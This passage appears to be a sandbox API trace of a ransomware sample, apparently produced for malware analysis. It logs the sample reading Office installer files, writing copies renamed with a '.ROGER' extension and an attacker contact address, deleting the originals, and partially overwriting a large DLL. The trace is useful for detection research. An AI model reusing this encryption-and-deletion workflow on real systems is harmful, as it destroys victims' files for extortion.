(lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0046.576] lstrlenW (lpString=".jpg") returned 4 [0046.576] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.576] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0046.576] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0046.576] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0046.576] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=868864) returned 1 [0046.576] CloseHandle (hObject=0x358) returned 1 [0046.577] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0046.577] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.577] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0046.577] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.577] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.577] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0046.577] GetLastError () returned 0x0 [0046.577] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0046.958] WriteFile (in: hFile=0x3dc, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0046.977] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.977] WriteFile (in: hFile=0x3dc, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0047.238] SetEndOfFile (hFile=0x3dc) returned 1 [0047.238] CloseHandle (hObject=0x3dc) returned 1 [0047.238] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.238] SetEndOfFile (hFile=0x358) returned 1 [0047.245] CloseHandle (hObject=0x358) returned 1 [0047.245] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0047.246] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0047.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.246] lstrlenW (lpString=".doc") returned 4 [0047.246] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.246] lstrlenW (lpString=".docx") returned 5 [0047.246] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0047.246] lstrlenW (lpString=".pdf") returned 4 [0047.246] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.246] lstrlenW (lpString=".xls") returned 4 [0047.246] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.246] lstrlenW (lpString=".xlsx") returned 5 [0047.246] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0047.246] lstrlenW (lpString=".ppt") returned 4 [0047.246] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.246] lstrlenW (lpString=".zip") returned 4 [0047.246] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.246] lstrlenW (lpString=".rar") returned 4 [0047.246] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.246] lstrlenW (lpString=".bz2") returned 4 [0047.246] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.247] lstrlenW (lpString=".7z") returned 3 [0047.247] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.247] lstrlenW (lpString=".dbf") returned 4 [0047.247] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.247] lstrlenW (lpString=".1cd") returned 4 [0047.247] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.247] lstrlenW (lpString=".jpg") returned 4 [0047.247] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.247] lstrlenW (lpString=".doc") returned 4 [0047.247] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.247] lstrlenW (lpString=".docx") returned 5 [0047.247] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0047.247] lstrlenW (lpString=".pdf") returned 4 [0047.247] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.247] lstrlenW (lpString=".xls") returned 4 [0047.247] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.247] lstrlenW (lpString=".xlsx") returned 5 [0047.247] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0047.247] lstrlenW (lpString=".ppt") returned 4 [0047.247] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.247] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.247] lstrlenW (lpString=".zip") returned 4 [0047.247] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.247] lstrlenW (lpString=".rar") returned 4 [0047.247] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.247] lstrlenW (lpString=".bz2") returned 4 [0047.247] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.248] lstrlenW (lpString=".7z") returned 3 [0047.248] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.248] lstrlenW (lpString=".dbf") returned 4 [0047.248] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.248] lstrlenW (lpString=".1cd") returned 4 [0047.248] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0047.248] lstrlenW (lpString=".jpg") returned 4 [0047.248] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.248] lstrcmpiW (lpString1=".exe", lpString2=".ROGER") returned -1 [0047.248] lstrlenW (lpString="ose.exe") returned 7 [0047.248] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0047.248] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=174440) returned 1 [0047.248] CloseHandle (hObject=0x358) returned 1 [0047.248] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0047.248] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.249] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0047.249] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.249] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.249] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0047.249] GetLastError () returned 0x0 [0047.249] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0047.253] WriteFile (in: hFile=0x3dc, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0047.256] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.256] WriteFile (in: hFile=0x3dc, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0047.256] SetEndOfFile (hFile=0x3dc) returned 1 [0047.256] CloseHandle (hObject=0x3dc) returned 1 [0047.257] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.257] SetEndOfFile (hFile=0x358) returned 1 [0047.258] CloseHandle (hObject=0x358) returned 1 [0047.258] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0047.258] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0047.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.259] lstrlenW (lpString=".doc") returned 4 [0047.259] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0047.259] lstrlenW (lpString=".docx") returned 5 [0047.259] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0047.259] lstrlenW (lpString=".pdf") returned 4 [0047.259] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0047.259] lstrlenW (lpString=".xls") returned 4 [0047.259] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0047.259] lstrlenW (lpString=".xlsx") returned 5 [0047.259] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0047.259] lstrlenW (lpString=".ppt") returned 4 [0047.259] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0047.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.259] lstrlenW (lpString=".zip") returned 4 [0047.259] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0047.259] lstrlenW (lpString=".rar") returned 4 [0047.259] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0047.259] lstrlenW (lpString=".bz2") returned 4 [0047.259] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0047.259] lstrlenW (lpString=".7z") returned 3 [0047.259] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0047.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.259] lstrlenW (lpString=".dbf") returned 4 [0047.259] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0047.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.259] lstrlenW (lpString=".1cd") returned 4 [0047.259] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0047.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.260] lstrlenW (lpString=".jpg") returned 4 [0047.260] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0047.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.260] lstrlenW (lpString=".doc") returned 4 [0047.260] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0047.260] lstrlenW (lpString=".docx") returned 5 [0047.260] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0047.260] lstrlenW (lpString=".pdf") returned 4 [0047.260] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0047.260] lstrlenW (lpString=".xls") returned 4 [0047.260] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0047.260] lstrlenW (lpString=".xlsx") returned 5 [0047.260] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0047.260] lstrlenW (lpString=".ppt") returned 4 [0047.260] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0047.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.260] lstrlenW (lpString=".zip") returned 4 [0047.260] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0047.260] lstrlenW (lpString=".rar") returned 4 [0047.260] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0047.260] lstrlenW (lpString=".bz2") returned 4 [0047.260] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0047.260] lstrlenW (lpString=".7z") returned 3 [0047.260] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0047.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.260] lstrlenW (lpString=".dbf") returned 4 [0047.260] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0047.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.260] lstrlenW (lpString=".1cd") returned 4 [0047.260] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0047.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.261] lstrlenW (lpString=".jpg") returned 4 [0047.261] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0047.261] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0047.261] lstrlenW (lpString="osetup.dll") returned 10 [0047.261] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0047.261] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=7378792) returned 1 [0047.261] CloseHandle (hObject=0x358) returned 1 [0047.261] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0047.261] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.261] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0047.262] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0047.262] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0x0) returned 1 [0047.262] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.262] ReadFile (in: hFile=0x358, lpBuffer=0x4850058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4850058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.266] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.266] ReadFile (in: hFile=0x358, lpBuffer=0x4890058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4890058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.268] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.269] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.269] ReadFile (in: hFile=0x358, lpBuffer=0x48d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x48d0058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.634] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.634] WriteFile (in: hFile=0x358, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x3d3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0047.648] SetEndOfFile (hFile=0x358) returned 1 [0047.648] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f48010 [0047.648] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.648] WriteFile (in: hFile=0x358, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.649] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.649] WriteFile (in: hFile=0x358, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.651] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.651] WriteFile (in: hFile=0x358, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.653] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f48010 | out: hHeap=0x790000) returned 1 [0047.653] CloseHandle (hObject=0x358) returned 1 [0047.653] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0047.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.653] lstrlenW (lpString=".doc") returned 4 [0047.653] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.653] lstrlenW (lpString=".docx") returned 5 [0047.653] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0047.654] lstrlenW (lpString=".pdf") returned 4 [0047.654] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.654] lstrlenW (lpString=".xls") returned 4 [0047.654] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.654] lstrlenW (lpString=".xlsx") returned 5 [0047.654] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0047.654] lstrlenW (lpString=".ppt") returned 4 [0047.654] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.654] lstrlenW (lpString=".zip") returned 4 [0047.654] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.654] lstrlenW (lpString=".rar") returned 4 [0047.654] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.654] lstrlenW (lpString=".bz2") returned 4 [0047.654] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.654] lstrlenW (lpString=".7z") returned 3 [0047.654] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.654] lstrlenW (lpString=".dbf") returned 4 [0047.654] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.654] lstrlenW (lpString=".1cd") returned 4 [0047.654] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.654] lstrlenW (lpString=".jpg") returned 4 [0047.654] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.654] 